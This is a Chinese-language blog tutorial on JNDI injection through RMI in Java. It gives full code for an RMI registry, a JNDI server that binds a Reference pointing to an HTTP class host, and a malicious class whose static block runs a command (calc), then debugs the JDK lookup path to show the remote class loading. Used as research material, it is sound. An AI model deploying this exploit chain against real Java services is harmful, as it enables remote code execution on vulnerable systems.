文章总结: 文章详细讲解了JNDI注入原理与RMI结合利用方法,介绍了JNDI基本概念和RMI远程对象绑定,重点分析通过Reference对象实现远程类加载导致代码执行的攻击链路,并提供了完整的代码示例和调试分析过程。核心结论是当lookup方法参数可控时,攻击者可通过构造恶意Reference对象触发远程类加载执行任意代码,属于典型的Java安全漏洞。
综合评分: 86
文章分类: 漏洞分析,渗透测试,WEB安全,安全开发,实战经验
JNDI注入-rmi篇
小猫咪
小猫咪
梦想变成大黑客的小猫咪
2026年3月18日 00:16
北京
JNDI 是什么?
JNDI – Java Naming and Directory Interface 名为 Java命名和目录接口,具体的概念还是比较复杂难懂,具体结构设计细节可以不用了解,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。如下图:
用一个名字(字符串)对应一个java对象,把一个字符串放到一个容器上面 ,这个容器就是rmi / ldap
jndi结合rmi 绑定rmi远程对象
开启一个rmi的server
package org.example.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
package org.example.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
public RemoteObjImpl() throws RemoteException, RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}
@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
package org.example.rmi;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 实例化远程对象
RemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定对象示例到注册中心
registry.bind("remoteObj", remoteObj);
}
}
jndi server
package org.example.rmi;
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
// Reference refObj = new Reference("Test", "Test", "http://localhost:7777/");
// initialContext.rebind("rmi://localhost:1099/remoteObj", refObj);
}
}
jndi client
package org.example.rmi;
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main( String[] args ) throws Exception
{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
也是借助原生的rmi进行实现的
调试分析一下
调试问题解决
https://hg.openjdk.org/jdk8/jdk8/jdk/archive/tip.zip
IDEA--文件--项目结构--SDK--在你的jdk版本里的源路径内把下载的压缩包导入--重启IDEA即可
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
一步一步跟进
继续跟进到registrycontext
他会根据传入的rmi://localhost:1099/remoteObj
根据协议的不同调用不同的context
可以看到调用的是registryimpl_stub,调用的就是原生rmi的lookup方法
也可以打rmi的攻击方式
jndi结合rmi 绑定 reference对象
server端 Reference引用对象
package org.example.rmi;
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
Reference refObj = new Reference("Test", "Test", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", refObj);
}
}
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
Reference 中几个比较关键的属性:
- 1. className – 远程加载时所使用的类名
- 2. classFactory – 加载的 class 中需要实例化类的名称
- 3. classFactoryLocation – 提供 classes 数据的地址可以是 file/ftp/http 等协议
className类名,factory工厂,factoryLocation工厂的位置
import java.io.IOException;
public class Test {
private Test(){
System.out.println("Test");
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
client端
package org.example.rmi;
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main( String[] args ) throws Exception
{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
D:\tmp>python -m http.server 7777
Serving HTTP on :: port 7777 (http://[::]:7777/) ...
只要能控制initialContext.lookup()就可以执行代码,即lookup可控
调试分析
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
public Object lookup(String name) throws NamingException {
ResolveResult res = getRootURLContext(name, myEnv);
Context ctx = (Context)res.getResolvedObj();
try {
return ctx.lookup(res.getRemainingName());
} finally {
ctx.close();
}
}
拿到的是referencewrapper_stub
再调试一下jndiserver
如果对象是Reference变成ReferenceWrapper
之后就是绑定上 ReferenceWrapper对象
继续调试client
obj是referencewrapper
进入到decodeobject方法
obj 是refence对象
之后调用 这里还没有执行代码
return NamingManager.getObjectInstance(obj, name, this,
environment);
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
factory = getObjectFactoryFromReference(ref, f);
本地类加载
远程类加载
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
在实例化之前就可以执行代码 因为再static中触发
攻击面
攻击路径:
rmi的攻击面
jndi的引用 远程类实例化
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:梦想变成大黑客的小猫咪 小猫咪
小猫咪《JNDI注入-rmi篇》